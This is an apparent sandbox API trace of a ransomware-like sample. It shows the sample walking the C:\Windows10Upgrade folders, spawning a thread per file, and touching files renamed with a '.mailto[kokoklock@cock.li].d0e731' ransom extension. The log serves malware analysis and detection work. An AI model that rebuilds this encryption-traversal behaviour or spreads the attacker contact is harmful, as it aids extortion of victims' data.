wcscpy (in: _Dest=0x3057020, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.905] wcscat (in: _Dest=0x3057020, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.905] wcscat (in: _Dest=0x3057020, _Source="EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" [0170.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890 [0170.906] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89d997c9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x12641, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_T~2.D0E")) returned 1 [0170.906] wcscmp (_String1="EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.906] wcscmp (_String1="EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.906] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3057190 [0170.906] wcscpy (in: _Dest=0x3057190, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.906] wcscat (in: _Dest=0x3057190, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.906] wcscat (in: _Dest=0x3057190, _Source="EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" [0170.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3057190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894 [0170.907] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89de5d64, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x412eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_U~1.D0E")) returned 1 [0170.907] wcscmp (_String1="EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.907] wcscmp (_String1="EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.907] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056b18 [0170.907] wcscpy (in: _Dest=0x3056b18, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.907] wcscat (in: _Dest=0x3056b18, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.907] wcscat (in: _Dest=0x3056b18, _Source="EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" [0170.907] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898 [0170.908] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89ea4a27, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1ee21, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_Z~1.D0E")) returned 1 [0170.908] wcscmp (_String1="EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.908] wcscmp (_String1="EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.908] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056f68 [0170.908] wcscpy (in: _Dest=0x3056f68, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.908] wcscat (in: _Dest=0x3056f68, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.908] wcscat (in: _Dest=0x3056f68, _Source="EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" [0170.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056f68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c [0170.909] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89ecac50, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_Z~2.D0E")) returned 1 [0170.909] wcscmp (_String1="EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.909] wcscmp (_String1="EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.909] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056bd0 [0170.909] wcscpy (in: _Dest=0x3056bd0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.909] wcscat (in: _Dest=0x3056bd0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.909] wcscat (in: _Dest=0x3056bd0, _Source="EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" [0170.909] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0 [0170.909] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89f17009, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_Z~3.D0E")) returned 1 [0170.909] wcscmp (_String1="EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0170.910] wcscmp (_String1="EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0170.910] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056c88 [0170.910] wcscpy (in: _Dest=0x3056c88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA" [0170.910] wcscat (in: _Dest=0x3056c88, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0170.910] wcscat (in: _Dest=0x3056c88, _Source="EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" [0170.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3056c88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4 [0170.910] FindNextFileW (in: hFindFile=0x30454a8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x89f17009, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x23fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULA_Z~3.D0E")) returned 0 [0170.911] FindClose (in: hFindFile=0x30454a8 | out: hFindFile=0x30454a8) returned 1 [0170.911] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020a40) returned 1 [0170.911] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa06e8) returned 1 [0170.911] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88c60) returned 1 [0170.911] RtlExitUserThread (Status=0x0) Thread: id = 1975 os_tid = 0xe04 [0170.786] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.787] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.787] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.787] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.787] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3680) returned 1 [0170.787] RtlExitUserThread (Status=0x0) Thread: id = 1976 os_tid = 0xe08 [0170.788] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.789] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.789] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.790] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.790] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91ea0) returned 1 [0170.790] RtlExitUserThread (Status=0x0) Thread: id = 1977 os_tid = 0xe0c [0170.791] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.791] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.791] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.791] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.791] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024850) returned 1 [0170.791] RtlExitUserThread (Status=0x0) Thread: id = 1978 os_tid = 0xe10 [0170.792] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.792] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.793] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.793] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.793] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee198) returned 1 [0170.793] RtlExitUserThread (Status=0x0) Thread: id = 1979 os_tid = 0xe14 [0170.794] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.794] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.795] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.795] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\lock.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.795] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3220) returned 1 [0170.795] RtlExitUserThread (Status=0x0) Thread: id = 1980 os_tid = 0xe18 [0170.801] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.801] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.801] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.801] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\logo.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe37c0) returned 1 [0170.801] RtlExitUserThread (Status=0x0) Thread: id = 1981 os_tid = 0xe1c [0170.802] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.802] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.803] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.803] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\marketing.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee4e0) returned 1 [0170.803] RtlExitUserThread (Status=0x0) Thread: id = 1982 os_tid = 0xe20 [0170.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f604a0 [0170.804] wcscpy (in: _Dest=0x2f604a0, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0170.804] wcscat (in: _Dest=0x2f604a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0170.804] wcscat (in: _Dest=0x2f604a0, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*" [0170.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30218b0 [0170.804] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\*", lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30457a8 [0170.804] wcscmp (_String1=".", _String2=".") returned 0 [0170.804] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea60a72c, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea6143a6, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.804] wcscmp (_String1="..", _String2=".") returned 1 [0170.804] wcscmp (_String1="..", _String2="..") returned 0 [0170.804] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea60a72c, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0170.804] wcscmp (_String1="css", _String2=".") returned 1 [0170.804] wcscmp (_String1="css", _String2="..") returned 1 [0170.804] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6a) returned 0x2f96dc8 [0170.804] wcscpy (in: _Dest=0x2f96dc8, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0170.805] wcscat (in: _Dest=0x2f96dc8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0170.805] wcscat (in: _Dest=0x2f96dc8, _Source="css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\css" [0170.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f96dc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0170.872] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0170.872] wcscmp (_String1="js", _String2=".") returned 1 [0170.872] wcscmp (_String1="js", _String2="..") returned 1 [0170.872] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f70e48 [0170.872] wcscpy (in: _Dest=0x2f70e48, _Source="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS" [0170.872] wcscat (in: _Dest=0x2f70e48, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\" [0170.872] wcscat (in: _Dest=0x2f70e48, _Source="js" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js") returned="C:\\Windows10Upgrade\\resources\\ux\\Microsoft.WinJS\\js" [0170.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f70e48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0170.873] FindNextFileW (in: hFindFile=0x30457a8, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea6143a6, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x8b824581, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b824581, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0170.873] FindClose (in: hFindFile=0x30457a8 | out: hFindFile=0x30457a8) returned 1 [0170.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30218b0) returned 1 [0170.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f604a0) returned 1 [0170.873] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0170.873] RtlExitUserThread (Status=0x0) Thread: id = 1983 os_tid = 0xe28 [0170.805] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.806] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.806] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.806] SetFileAttributesW 